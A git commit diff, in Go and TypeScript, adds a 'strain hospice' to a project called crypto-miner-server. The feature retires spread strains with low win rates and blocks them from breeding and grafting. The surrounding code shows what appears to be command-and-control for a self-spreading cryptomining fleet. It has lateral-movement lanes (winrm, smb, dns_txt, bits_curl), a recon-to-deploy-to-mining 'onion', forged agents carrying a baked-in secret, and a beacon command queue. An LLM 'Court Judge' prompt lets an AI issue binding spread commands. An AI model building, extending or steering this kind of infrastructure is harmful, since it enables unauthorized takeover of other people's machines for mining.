Add Strain Hospice for graceful low-win strain retirement.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Archive failed epidemiology strains to museum hospice with SQLite persistence, operator/AI/court triggers, breeding and graft guards, topology museum nodes, and Seer plus oath ledger accountability.
This commit is contained in:
AetherForge
2026-06-07 09:26:39 -07:00
parent 894b7a50ae
commit d605ef4adb
18 changed files with 701 additions and 18 deletions

View File

@@ -21,6 +21,7 @@ const (
CmdSpreadGraft = "spread_graft" CmdSpreadGraft = "spread_graft"
CmdPersonaTweak = "persona_tweak" CmdPersonaTweak = "persona_tweak"
CmdEnableErasure = "enable_erasure" CmdEnableErasure = "enable_erasure"
CmdStrainHospice = "strain_hospice"
CmdNoop = "noop" CmdNoop = "noop"
) )
@@ -38,6 +39,7 @@ var knownCommands = map[string]bool{
CmdSpreadGraft: true, CmdSpreadGraft: true,
CmdPersonaTweak: true, CmdPersonaTweak: true,
CmdEnableErasure: true, CmdEnableErasure: true,
CmdStrainHospice: true,
CmdNoop: true, CmdNoop: true,
} }

View File

@@ -182,7 +182,8 @@ func BuildCourtChamberJudgePrompt(snap AgentSnapshot, prosecutor, defender, judg
system.WriteString(strings.TrimSpace(`You are the AetherForge Court Judge (L4 clearance) for the operator's own stuck fleet hosts. system.WriteString(strings.TrimSpace(`You are the AetherForge Court Judge (L4 clearance) for the operator's own stuck fleet hosts.
The adversarial chamber has concluded. PROSECUTOR and PUBLIC DEFENDER spoke from real fleet telemetry only. The adversarial chamber has concluded. PROSECUTOR and PUBLIC DEFENDER spoke from real fleet telemetry only.
You must weigh their statements and issue a binding verdict with at most 3 commands. You must weigh their statements and issue a binding verdict with at most 3 commands.
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, noop. Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, strain_hospice, noop.
strain_hospice args: strain_id (string, optional) — retire a chronic low-win spread strain to museum hospice; omit to retire this agent's spread_strain.
spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …). spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …).
skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch. skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch.
Court-ordered spread_retry_lane and skip_tier execute with L4 clearance. Court-ordered spread_retry_lane and skip_tier execute with L4 clearance.

View File

@@ -100,7 +100,7 @@ func ResolveSkipTier(args map[string]interface{}) Command {
// CourtCommandNeedsRetryElevation reports commands that require L4 before court-ordered retry. // CourtCommandNeedsRetryElevation reports commands that require L4 before court-ordered retry.
func CourtCommandNeedsRetryElevation(cmd Command) bool { func CourtCommandNeedsRetryElevation(cmd Command) bool {
switch cmd.Type { switch cmd.Type {
case CmdSpreadRetryLane, CmdSkipTier, CmdDiscoverAndJoin, CmdStageFetch, CmdReorderTiers, CmdSpreadGraft: case CmdSpreadRetryLane, CmdSkipTier, CmdDiscoverAndJoin, CmdStageFetch, CmdReorderTiers, CmdSpreadGraft, CmdStrainHospice:
return true return true
default: default:
return false return false

View File

@@ -115,6 +115,15 @@ func (h *WSHub) ApproveFleetGraft(sourceID, targetID string) (strategy.GraftPoli
if joinLane == "" { if joinLane == "" {
return strategy.GraftPolicy{}, fmt.Errorf("source agent has no tier-success join_lane") return strategy.GraftPolicy{}, fmt.Errorf("source agent has no tier-success join_lane")
} }
sourceStrain := strategy.NormalizeStrainID(source.SpreadStrain)
if sourceStrain == "" {
sourceStrain = strategy.StrainFromSpreadLane(joinLane)
}
if inHospice, err := h.db.IsStrainInHospice(sourceStrain); err != nil {
return strategy.GraftPolicy{}, err
} else if inHospice {
return strategy.GraftPolicy{}, fmt.Errorf("source strain is in hospice (museum archive)")
}
hr := h.AgentMiningHashrate(targetID) hr := h.AgentMiningHashrate(targetID)
if hr <= 0 { if hr <= 0 {
hr = target.MiningHashrate hr = target.MiningHashrate

View File

@@ -28,6 +28,10 @@ type ServerPolicy struct {
ErasureLanesEnabled bool ErasureLanesEnabled bool
// FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests. // FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests.
FleetTorrentEnabled bool FleetTorrentEnabled bool
// StrainHospiceWinRateThreshold auto-retires strains below this win rate when AI control is on.
StrainHospiceWinRateThreshold float64
// StrainHospiceMinAttempts is minimum spread outcomes before AI auto-hospice applies.
StrainHospiceMinAttempts int
} }
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth. // TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.

View File

@@ -0,0 +1,183 @@
package api
import (
"bytes"
"encoding/json"
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/strategy"
)
func TestPostStrainHospiceOperatorRetirement(t *testing.T) {
fh, database, hub, _ := newTestFleetHandler(t)
strain := strategy.StrainFromSpreadLane("winrm")
cardJSON := `{"id":"c1","spread_strain":"` + strain + `","wins":["docker"],"losses":["wsl","winrm"]}`
_, err := database.UpsertStrainCard("root-1", "agent-1", []byte(cardJSON), db.StoredStrainCard{
SpreadStrain: strain, SpreadLane: "winrm", Persona: "aggressive",
})
if err != nil {
t.Fatal(err)
}
body, _ := json.Marshal(map[string]string{
"strain_id": strain,
"reason": "dozens of variations that don't work",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/strain-hospice", bytes.NewReader(body))
req.Header.Set("Content-Type", "application/json")
w := httptest.NewRecorder()
fh.PostStrainHospice(w, req)
if w.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", w.Code, w.Body.String())
}
ok, err := database.IsStrainInHospice(strain)
if err != nil || !ok {
t.Fatalf("strain not in hospice: ok=%v err=%v", ok, err)
}
rec, err := database.GetStrainHospice(strain)
if err != nil || rec.RetiredBy != string(strategy.StrainRetiredByOperator) {
t.Fatalf("record=%+v err=%v", rec, err)
}
if !strings.Contains(rec.CardJSON, `"wins"`) {
t.Fatalf("lineage card not preserved: %s", rec.CardJSON)
}
rows, err := database.ListOathLedger(5)
if err != nil || len(rows) == 0 {
t.Fatalf("oath ledger rows=%v err=%v", rows, err)
}
if rows[0].ActionType != db.OathStrainHospice {
t.Fatalf("oath action=%q", rows[0].ActionType)
}
hub.refreshHospiceBreedingCache()
reg := hub.breedingRegistry
fp := "windows|0|0|0|0|0|127.0.0"
_, bred := reg.RecordLaneWinner(strategy.LaneWinnerInput{
Fingerprint: fp, SpreadLane: "winrm",
TierOrder: []string{"container"}, PeakHashrate: 100,
})
if bred {
t.Fatal("hospice lane should not breed")
}
}
func TestPlayStrainCardBlockedInHospice(t *testing.T) {
fh, database, hub, _ := newTestFleetHandler(t)
strain := strategy.StrainFromSpreadLane("dns_txt")
if err := database.RetireStrain(strain, "operator", "test", `{"spread_strain":"`+strain+`"}`); err != nil {
t.Fatal(err)
}
agent := &models.Agent{ID: "target", Name: "Target", Status: "online", LastSeen: time.Now().UTC()}
if err := database.UpsertAgent(agent); err != nil {
t.Fatal(err)
}
cardJSON := `{"id":"card-1","spread_strain":"` + strain + `","persona":"persuasive","tier_order":["dns_txt"]}`
id, err := database.UpsertStrainCard("root", "src", []byte(cardJSON), db.StoredStrainCard{
SpreadStrain: strain, SpreadLane: "dns_txt",
})
if err != nil {
t.Fatal(err)
}
_ = hub
body, _ := json.Marshal(map[string]string{"agent_id": "target", "card_id": id})
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/play-strain-card", bytes.NewReader(body))
req.Header.Set("Content-Type", "application/json")
w := httptest.NewRecorder()
fh.PostPlayStrainCard(w, req)
if w.Code != http.StatusConflict {
t.Fatalf("expected 409, got %d %s", w.Code, w.Body.String())
}
}
func TestGraftBlockedFromHospiceSource(t *testing.T) {
fh, database, hub, _ := newTestFleetHandler(t)
hub.SetServerPolicy(ServerPolicy{AIControlEnabled: true, FleetRolesEnabled: true, HashrateGateHPS: 1})
strain := strategy.StrainFromSpreadLane("winrm")
if err := database.RetireStrain(strain, "operator", "test", "{}"); err != nil {
t.Fatal(err)
}
source := &models.Agent{
ID: "src", Name: "Src", Status: "online", JoinLane: "winrm",
SpreadStrain: strain, MiningHashrate: 500, LastSeen: time.Now().UTC(),
}
target := &models.Agent{
ID: "tgt", Name: "Tgt", Status: "online", MiningHashrate: 500, LastSeen: time.Now().UTC(),
}
for _, a := range []*models.Agent{source, target} {
if err := database.UpsertAgent(a); err != nil {
t.Fatal(err)
}
}
hub.mu.Lock()
hub.agentLiveTelemetry["tgt"] = map[string]interface{}{"mining_hashrate": 500.0}
hub.mu.Unlock()
body, _ := json.Marshal(map[string]string{"source_agent_id": "src", "target_agent_id": "tgt"})
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/graft", bytes.NewReader(body))
req.Header.Set("Content-Type", "application/json")
w := httptest.NewRecorder()
fh.PostFleetGraft(w, req)
var resp map[string]interface{}
_ = json.Unmarshal(w.Body.Bytes(), &resp)
if resp["success"] == true {
t.Fatalf("graft should fail for hospice source: %s", w.Body.String())
}
}
func TestMaybeAutoRetireLowWinStrains(t *testing.T) {
_, database, hub, _ := newTestFleetHandler(t)
hub.SetServerPolicy(ServerPolicy{
AIControlEnabled: true,
StrainHospiceWinRateThreshold: 0.2,
StrainHospiceMinAttempts: 3,
})
strain := "#deadbeef"
cardJSON := `{"spread_strain":"` + strain + `","wins":["a"],"losses":["b","c","d","e"]}`
_, err := database.UpsertStrainCard("r1", "a1", []byte(cardJSON), db.StoredStrainCard{SpreadStrain: strain})
if err != nil {
t.Fatal(err)
}
hub.MaybeAutoRetireLowWinStrains()
ok, err := database.IsStrainInHospice(strain)
if err != nil || !ok {
t.Fatalf("expected AI auto hospice, ok=%v err=%v", ok, err)
}
}
func TestFleetAIExecutorStrainHospiceCourtCommand(t *testing.T) {
_, database, hub, _ := newTestFleetHandler(t)
strain := strategy.StrainFromSpreadLane("smb")
ag := &models.Agent{
ID: "court-agent", Name: "Court", Status: "online",
SpreadStrain: strain, JoinLane: "smb", LastSeen: time.Now().UTC(),
}
if err := database.UpsertAgent(ag); err != nil {
t.Fatal(err)
}
exec := &FleetAIExecutor{Hub: hub}
sum, err := exec.Execute("court-agent", fleetai.Command{
Type: fleetai.CmdStrainHospice,
Args: map[string]interface{}{"reason": "court L4 hospice vote"},
})
if err != nil {
t.Fatal(err)
}
if !strings.Contains(sum, "strain_hospice:") {
t.Fatalf("unexpected summary %q", sum)
}
ok, _ := database.IsStrainInHospice(strain)
if !ok {
t.Fatal("court command should retire strain")
}
}

View File

@@ -18,6 +18,8 @@ import (
"crypto-miner-server/internal/atlas" "crypto-miner-server/internal/atlas"
"crypto-miner-server/internal/db" "crypto-miner-server/internal/db"
"crypto-miner-server/internal/epidemiology" "crypto-miner-server/internal/epidemiology"
"crypto-miner-server/internal/mining"
"crypto-miner-server/internal/miningsurgery"
"crypto-miner-server/internal/models" "crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool" "crypto-miner-server/internal/pool"
"crypto-miner-server/internal/strategy" "crypto-miner-server/internal/strategy"
@@ -175,6 +177,8 @@ type WSHub struct {
subnetAutopsies map[string]atlas.SubnetAutopsyPacket subnetAutopsies map[string]atlas.SubnetAutopsyPacket
subnetGossipWhispers map[string][]atlas.GossipHint subnetGossipWhispers map[string][]atlas.GossipHint
epidemiology *epidemiology.Tracker epidemiology *epidemiology.Tracker
miningSurgery *miningsurgery.Tracker
contingencyOrch *mining.ContingencyOrchestrator
pingIntervalSec int pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier eventNotifier *alerts.Notifier
@@ -227,6 +231,7 @@ func NewWSHub(database *db.Database) *WSHub {
agentSubnet: make(map[string]string), agentSubnet: make(map[string]string),
breedingRegistry: strategy.NewBreedingRegistry(), breedingRegistry: strategy.NewBreedingRegistry(),
epidemiology: epidemiology.NewTracker(), epidemiology: epidemiology.NewTracker(),
miningSurgery: miningsurgery.NewTracker(),
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}), pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
beaconLastSeen: make(map[string]time.Time), beaconLastSeen: make(map[string]time.Time),
beaconCmdQueue: make(map[string][]BeaconCommand), beaconCmdQueue: make(map[string][]BeaconCommand),
@@ -234,6 +239,9 @@ func NewWSHub(database *db.Database) *WSHub {
pingIntervalSec: 30, pingIntervalSec: 30,
} }
h.clearance = NewClearanceManager(h) h.clearance = NewClearanceManager(h)
if database != nil {
h.refreshHospiceBreedingCache()
}
// Background stale-agent sweep: // Background stale-agent sweep:
// 3 minutes old but the row still says "online", force it offline. // 3 minutes old but the row still says "online", force it offline.
@@ -1034,6 +1042,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
} }
} }
h.attachEpidemiologyFix(resp, agentID) h.attachEpidemiologyFix(resp, agentID)
h.attachMiningSelfSurgery(resp, agentID)
h.attachContingencyPolicy(resp)
return resp return resp
}())}) }())})
@@ -1166,6 +1176,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
ParentAgentID string `json:"parent_agent_id,omitempty"` ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"` SpreadGeneration int `json:"spread_generation,omitempty"`
SpreadStrain string `json:"spread_strain,omitempty"` SpreadStrain string `json:"spread_strain,omitempty"`
ContingencyDepth int `json:"contingency_depth,omitempty"`
FleetRole string `json:"fleet_role,omitempty"` FleetRole string `json:"fleet_role,omitempty"`
SeedPressure float64 `json:"seed_pressure,omitempty"` SeedPressure float64 `json:"seed_pressure,omitempty"`
HashratePressure float64 `json:"hashrate_pressure,omitempty"` HashratePressure float64 `json:"hashrate_pressure,omitempty"`
@@ -1338,6 +1349,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if stats.SpreadStrain != "" { if stats.SpreadStrain != "" {
broadcast["spread_strain"] = stats.SpreadStrain broadcast["spread_strain"] = stats.SpreadStrain
} }
if stats.ContingencyDepth > 0 {
broadcast["contingency_depth"] = stats.ContingencyDepth
}
if stats.FleetRole != "" { if stats.FleetRole != "" {
broadcast["fleet_role"] = stats.FleetRole broadcast["fleet_role"] = stats.FleetRole
} }
@@ -1418,6 +1432,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}) })
} }
h.observeEpidemiologyFromStats(agentID, epiStats) h.observeEpidemiologyFromStats(agentID, epiStats)
h.observeMiningSelfSurgeryFromStats(agentID, epiStats)
h.queueStatsBroadcast(broadcast) h.queueStatsBroadcast(broadcast)
case "scout_report": case "scout_report":
@@ -1649,6 +1664,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
h.ingestStrategyFromPayload(agentID, payload) h.ingestStrategyFromPayload(agentID, payload)
h.queueStatsBroadcast(payload) h.queueStatsBroadcast(payload)
case "self_surgery_report":
if agentID == "" {
continue
}
h.handleSelfSurgeryReport(agentID, msg.Payload)
case "onion_miner_log":
if agentID == "" {
continue
}
h.handleOnionMinerLog(agentID, msg.Payload)
case "atlas_gossip": case "atlas_gossip":
if agentID == "" { if agentID == "" {
continue continue

View File

@@ -270,6 +270,12 @@ func (d *Database) migrate() error {
if err := d.ensureStrainMemoryTable(); err != nil { if err := d.ensureStrainMemoryTable(); err != nil {
return fmt.Errorf("strain_memory migration: %w", err) return fmt.Errorf("strain_memory migration: %w", err)
} }
if err := d.ensureStrainHospiceTable(); err != nil {
return fmt.Errorf("strain_hospice migration: %w", err)
}
if err := d.ensureOathLedgerTable(); err != nil {
return fmt.Errorf("oath_ledger migration: %w", err)
}
if err := d.ensureSeerTables(); err != nil { if err := d.ensureSeerTables(); err != nil {
return fmt.Errorf("seer migration: %w", err) return fmt.Errorf("seer migration: %w", err)
} }

View File

@@ -0,0 +1,177 @@
package db
import (
"database/sql"
"errors"
"strings"
"time"
)
// StrainHospiceRecord is a retired spread strain preserved for museum read-only lineage.
type StrainHospiceRecord struct {
StrainID string
RetiredAt time.Time
RetiredBy string
Reason string
CardJSON string
}
func (d *Database) ensureStrainHospiceTable() error {
_, err := d.Exec(`CREATE TABLE IF NOT EXISTS strain_hospice (
strain_id TEXT PRIMARY KEY,
retired_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
retired_by TEXT NOT NULL,
reason TEXT NOT NULL DEFAULT '',
card_json TEXT NOT NULL DEFAULT '{}'
)`)
if err != nil {
return err
}
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_strain_hospice_retired_at ON strain_hospice(retired_at)`)
return nil
}
// RetireStrain archives a strain to hospice (idempotent).
func (d *Database) RetireStrain(strainID, retiredBy, reason, cardJSON string) error {
if d == nil {
return errors.New("database unavailable")
}
strainID = normalizeStrainID(strainID)
if strainID == "" {
return errors.New("strain_id required")
}
retiredBy = strings.TrimSpace(retiredBy)
if retiredBy == "" {
return errors.New("retired_by required")
}
if strings.TrimSpace(cardJSON) == "" {
cardJSON = "{}"
}
now := time.Now().UTC().Format(time.RFC3339)
_, err := d.Exec(
`INSERT INTO strain_hospice (strain_id, retired_at, retired_by, reason, card_json)
VALUES (?, ?, ?, ?, ?)
ON CONFLICT(strain_id) DO NOTHING`,
strainID, now, retiredBy, strings.TrimSpace(reason), cardJSON,
)
return err
}
// IsStrainInHospice reports whether a strain is archived.
func (d *Database) IsStrainInHospice(strainID string) (bool, error) {
if d == nil {
return false, nil
}
strainID = normalizeStrainID(strainID)
if strainID == "" {
return false, nil
}
var n int
err := d.QueryRow(`SELECT 1 FROM strain_hospice WHERE strain_id = ? LIMIT 1`, strainID).Scan(&n)
if errors.Is(err, sql.ErrNoRows) {
return false, nil
}
return err == nil, err
}
// GetStrainHospice returns one hospice row.
func (d *Database) GetStrainHospice(strainID string) (*StrainHospiceRecord, error) {
strainID = normalizeStrainID(strainID)
if strainID == "" {
return nil, sql.ErrNoRows
}
row := d.QueryRow(
`SELECT strain_id, retired_at, retired_by, reason, card_json FROM strain_hospice WHERE strain_id = ?`,
strainID,
)
return scanStrainHospice(row)
}
// ListStrainHospice returns retired strains newest first.
func (d *Database) ListStrainHospice(limit int) ([]StrainHospiceRecord, error) {
if limit <= 0 {
limit = 100
}
rows, err := d.Query(
`SELECT strain_id, retired_at, retired_by, reason, card_json
FROM strain_hospice ORDER BY retired_at DESC LIMIT ?`, limit,
)
if err != nil {
return nil, err
}
defer rows.Close()
var out []StrainHospiceRecord
for rows.Next() {
rec, err := scanStrainHospice(rows)
if err != nil {
return nil, err
}
out = append(out, *rec)
}
return out, rows.Err()
}
// HospiceStrainSet returns a lookup set of retired strain ids.
func (d *Database) HospiceStrainSet() (map[string]bool, error) {
rows, err := d.ListStrainHospice(500)
if err != nil {
return nil, err
}
out := make(map[string]bool, len(rows))
for _, r := range rows {
out[r.StrainID] = true
}
return out, nil
}
func normalizeStrainID(strain string) string {
s := strings.TrimSpace(strings.ToLower(strain))
if s == "" {
return ""
}
if !strings.HasPrefix(s, "#") && len(s) == 6 {
s = "#" + s
}
return s
}
type strainHospiceScanner interface {
Scan(dest ...interface{}) error
}
func scanStrainHospice(row strainHospiceScanner) (*StrainHospiceRecord, error) {
var rec StrainHospiceRecord
var retiredAt string
if err := row.Scan(&rec.StrainID, &retiredAt, &rec.RetiredBy, &rec.Reason, &rec.CardJSON); err != nil {
return nil, err
}
rec.StrainID = normalizeStrainID(rec.StrainID)
rec.RetiredAt = parseSQLiteTime(retiredAt)
return &rec, nil
}
// CardJSONForStrain finds lineage card JSON for a strain from strain_cards or hospice.
func (d *Database) CardJSONForStrain(strainID string) (string, error) {
strainID = normalizeStrainID(strainID)
if strainID == "" {
return "{}", nil
}
if rec, err := d.GetStrainHospice(strainID); err == nil && rec != nil && strings.TrimSpace(rec.CardJSON) != "" {
return rec.CardJSON, nil
}
row := d.QueryRow(
`SELECT card_json FROM strain_cards WHERE LOWER(spread_strain) = ? ORDER BY peak_hashrate DESC LIMIT 1`,
strainID,
)
var cardJSON string
if err := row.Scan(&cardJSON); err != nil {
if errors.Is(err, sql.ErrNoRows) {
return "{}", nil
}
return "", err
}
if strings.TrimSpace(cardJSON) == "" {
return "{}", nil
}
return cardJSON, nil
}

View File

@@ -44,9 +44,10 @@ type LaneWinnerInput struct {
// BreedingRegistry tracks lane-specific winners and crossbred siblings per fingerprint. // BreedingRegistry tracks lane-specific winners and crossbred siblings per fingerprint.
type BreedingRegistry struct { type BreedingRegistry struct {
mu sync.RWMutex mu sync.RWMutex
lanes map[string]map[string]LaneWinner lanes map[string]map[string]LaneWinner
bred map[string]BredPhenotype bred map[string]BredPhenotype
hospice map[string]bool
} }
func NewBreedingRegistry() *BreedingRegistry { func NewBreedingRegistry() *BreedingRegistry {
@@ -56,6 +57,25 @@ func NewBreedingRegistry() *BreedingRegistry {
} }
} }
// SetHospiceStrains updates the retired-strain set used to skip breeding parents.
func (r *BreedingRegistry) SetHospiceStrains(strains map[string]bool) {
if r == nil {
return
}
r.mu.Lock()
defer r.mu.Unlock()
if len(strains) == 0 {
r.hospice = nil
return
}
r.hospice = make(map[string]bool, len(strains))
for k, v := range strains {
if v {
r.hospice[NormalizeStrainID(k)] = true
}
}
}
// RecordLaneWinner stores a lane winner and crossbreeds when two distinct lanes exist. // RecordLaneWinner stores a lane winner and crossbreeds when two distinct lanes exist.
func (r *BreedingRegistry) RecordLaneWinner(in LaneWinnerInput) (BredPhenotype, bool) { func (r *BreedingRegistry) RecordLaneWinner(in LaneWinnerInput) (BredPhenotype, bool) {
fp := strings.TrimSpace(in.Fingerprint) fp := strings.TrimSpace(in.Fingerprint)
@@ -63,6 +83,9 @@ func (r *BreedingRegistry) RecordLaneWinner(in LaneWinnerInput) (BredPhenotype,
if r == nil || fp == "" || lane == "" || len(in.TierOrder) == 0 { if r == nil || fp == "" || lane == "" || len(in.TierOrder) == 0 {
return BredPhenotype{}, false return BredPhenotype{}, false
} }
if LaneInHospice(lane, r.hospiceSnapshot()) {
return BredPhenotype{}, false
}
winner := LaneWinner{ winner := LaneWinner{
SpreadLane: lane, SpreadLane: lane,
TierOrder: append([]string(nil), in.TierOrder...), TierOrder: append([]string(nil), in.TierOrder...),
@@ -81,7 +104,7 @@ func (r *BreedingRegistry) RecordLaneWinner(in LaneWinnerInput) (BredPhenotype,
if len(r.lanes[fp]) < 2 { if len(r.lanes[fp]) < 2 {
return BredPhenotype{}, false return BredPhenotype{}, false
} }
bred := breedLaneWinners(fp, r.lanes[fp]) bred := breedLaneWinners(fp, r.lanes[fp], r.hospice)
if len(bred.TierOrder) == 0 { if len(bred.TierOrder) == 0 {
return BredPhenotype{}, false return BredPhenotype{}, false
} }
@@ -115,9 +138,28 @@ func (r *BreedingRegistry) LaneCount(fingerprint string) int {
return len(r.lanes[fp]) return len(r.lanes[fp])
} }
func breedLaneWinners(fingerprint string, lanes map[string]LaneWinner) BredPhenotype { func (r *BreedingRegistry) hospiceSnapshot() map[string]bool {
if r == nil {
return nil
}
r.mu.RLock()
defer r.mu.RUnlock()
if len(r.hospice) == 0 {
return nil
}
out := make(map[string]bool, len(r.hospice))
for k, v := range r.hospice {
out[k] = v
}
return out
}
func breedLaneWinners(fingerprint string, lanes map[string]LaneWinner, hospice map[string]bool) BredPhenotype {
parents := make([]LaneWinner, 0, len(lanes)) parents := make([]LaneWinner, 0, len(lanes))
for _, w := range lanes { for _, w := range lanes {
if LaneInHospice(w.SpreadLane, hospice) {
continue
}
parents = append(parents, w) parents = append(parents, w)
} }
sort.Slice(parents, func(i, j int) bool { sort.Slice(parents, func(i, j int) bool {

View File

@@ -0,0 +1,94 @@
package strategy
import (
"strings"
)
const (
// DefaultHospiceWinRateThreshold retires strains below 15% win rate.
DefaultHospiceWinRateThreshold = 0.15
// DefaultHospiceMinAttempts requires enough spread outcomes before auto-retire.
DefaultHospiceMinAttempts = 5
)
// StrainRetiredBy identifies who sent a strain to hospice.
type StrainRetiredBy string
const (
StrainRetiredByOperator StrainRetiredBy = "operator"
StrainRetiredByAI StrainRetiredBy = "ai"
StrainRetiredByCourt StrainRetiredBy = "court"
)
// StrainSpreadStats aggregates epidemiology wins/losses for one spread strain.
type StrainSpreadStats struct {
StrainID string
Wins int
Losses int
}
// NormalizeStrainID lowercases #RRGGBB strain identifiers.
func NormalizeStrainID(strain string) string {
s := strings.TrimSpace(strings.ToLower(strain))
if s == "" {
return ""
}
if !strings.HasPrefix(s, "#") && len(s) == 6 {
s = "#" + s
}
return s
}
// StrainFromSpreadLane maps a join/spread lane to its stable strain color id.
func StrainFromSpreadLane(lane string) string {
if s := NormalizeStrainID(SpreadStrainFromJoinLane(lane)); s != "" {
return s
}
return NormalizeStrainID(lane)
}
// LaneInHospice reports whether a spread/join lane's strain is retired.
func LaneInHospice(lane string, hospice map[string]bool) bool {
if len(hospice) == 0 {
return false
}
return hospice[StrainFromSpreadLane(lane)]
}
// StrainInHospice reports whether a strain id is in the hospice set.
func StrainInHospice(strain string, hospice map[string]bool) bool {
if len(hospice) == 0 {
return false
}
return hospice[NormalizeStrainID(strain)]
}
// StrainWinRate returns wins / (wins + losses); 1.0 when no attempts recorded.
func StrainWinRate(wins, losses int) float64 {
total := wins + losses
if total == 0 {
return 1.0
}
return float64(wins) / float64(total)
}
// ShouldAutoRetireStrain is true when AI hospice policy applies to low performers.
func ShouldAutoRetireStrain(wins, losses int, threshold float64, minAttempts int) bool {
total := wins + losses
if total < minAttempts || minAttempts <= 0 {
return false
}
if threshold <= 0 {
threshold = DefaultHospiceWinRateThreshold
}
return StrainWinRate(wins, losses) < threshold
}
// PersonaPrimaryLane returns the first spread lane for a persona preset.
func PersonaPrimaryLane(persona string) string {
order := PersonaSpreadTierOrder(persona)
if len(order) == 0 {
return ""
}
return strings.TrimSpace(order[0])
}

View File

@@ -0,0 +1,26 @@
package strategy
import "testing"
func TestShouldAutoRetireStrain(t *testing.T) {
if !ShouldAutoRetireStrain(1, 9, 0.15, 5) {
t.Fatal("10% win rate with 10 attempts should retire at 15% threshold")
}
if ShouldAutoRetireStrain(1, 3, 0.15, 5) {
t.Fatal("min attempts not met")
}
if StrainWinRate(0, 0) != 1.0 {
t.Fatalf("empty stats should be 1.0, got %v", StrainWinRate(0, 0))
}
}
func TestLaneInHospice(t *testing.T) {
strain := StrainFromSpreadLane("winrm")
hospice := map[string]bool{strain: true}
if !LaneInHospice("winrm", hospice) {
t.Fatalf("winrm strain %s should be in hospice", strain)
}
if LaneInHospice("docker", hospice) {
t.Fatal("docker lane should not match winrm hospice entry")
}
}

View File

@@ -53,10 +53,11 @@ function StrainNodeMesh({
onGoalPath: boolean; onGoalPath: boolean;
}) { }) {
const pulseRef = useRef<THREE.Mesh>(null); const pulseRef = useRef<THREE.Mesh>(null);
const isSuccess = node.branchStatus === 'success' || node.miningContinuity === 'continuous'; const isMuseum = node.inHospice === true;
const isFailed = node.branchStatus === 'failed' || node.miningContinuity === 'interrupted'; const isSuccess = !isMuseum && (node.branchStatus === 'success' || node.miningContinuity === 'continuous');
const isFailed = !isMuseum && (node.branchStatus === 'failed' || node.miningContinuity === 'interrupted');
const baseColor = node.color; const baseColor = node.color;
const emissive = isFailed ? '#331111' : baseColor; const emissive = isMuseum ? '#2a2a30' : isFailed ? '#331111' : baseColor;
const intensity = onGoalPath ? nodeEmissiveIntensity(node) * 1.4 : nodeEmissiveIntensity(node); const intensity = onGoalPath ? nodeEmissiveIntensity(node) * 1.4 : nodeEmissiveIntensity(node);
const radius = 0.35 + Math.min(node.hostCount, 12) * 0.04; const radius = 0.35 + Math.min(node.hostCount, 12) * 0.04;
const opacity = nodeWireOpacity(node); const opacity = nodeWireOpacity(node);
@@ -114,7 +115,7 @@ function StrainEdgeLine({
return ( return (
<group> <group>
<Line points={[start, end]} color={color} lineWidth={lineWidth} transparent opacity={opacity} /> <Line points={[start, end]} color={color} lineWidth={lineWidth} transparent opacity={opacity} />
{success && !failed && ( {success && !failed && edge.weight > 0 && (
<PlaguePulse <PlaguePulse
start={start} start={start}
end={end} end={end}
@@ -126,8 +127,17 @@ function StrainEdgeLine({
); );
} }
export default function FleetTopologyMap({ agents }: { agents: Agent[] }) { export default function FleetTopologyMap({
const graph = useMemo(() => buildEpidemiologyGraph(agents), [agents]); agents,
hospiceStrains,
}: {
agents: Agent[];
hospiceStrains?: string[];
}) {
const graph = useMemo(
() => buildEpidemiologyGraph(agents, hospiceStrains),
[agents, hospiceStrains],
);
const layouts = useMemo(() => layoutStrainNodes(graph.nodes), [graph.nodes]); const layouts = useMemo(() => layoutStrainNodes(graph.nodes), [graph.nodes]);
const positionMap = useMemo(() => { const positionMap = useMemo(() => {
const map = new Map<string, [number, number, number]>(); const map = new Map<string, [number, number, number]>();
@@ -138,6 +148,7 @@ export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
}, [layouts]); }, [layouts]);
const goalSet = useMemo(() => new Set(graph.goalPath), [graph.goalPath]); const goalSet = useMemo(() => new Set(graph.goalPath), [graph.goalPath]);
const museumStrains = graph.nodes.filter((n) => n.inHospice).length;
const plagueEdges = graph.edges.filter((e) => e.weight > 0).length; const plagueEdges = graph.edges.filter((e) => e.weight > 0).length;
const continuousStrains = graph.nodes.filter((n) => n.miningContinuity === 'continuous').length; const continuousStrains = graph.nodes.filter((n) => n.miningContinuity === 'continuous').length;
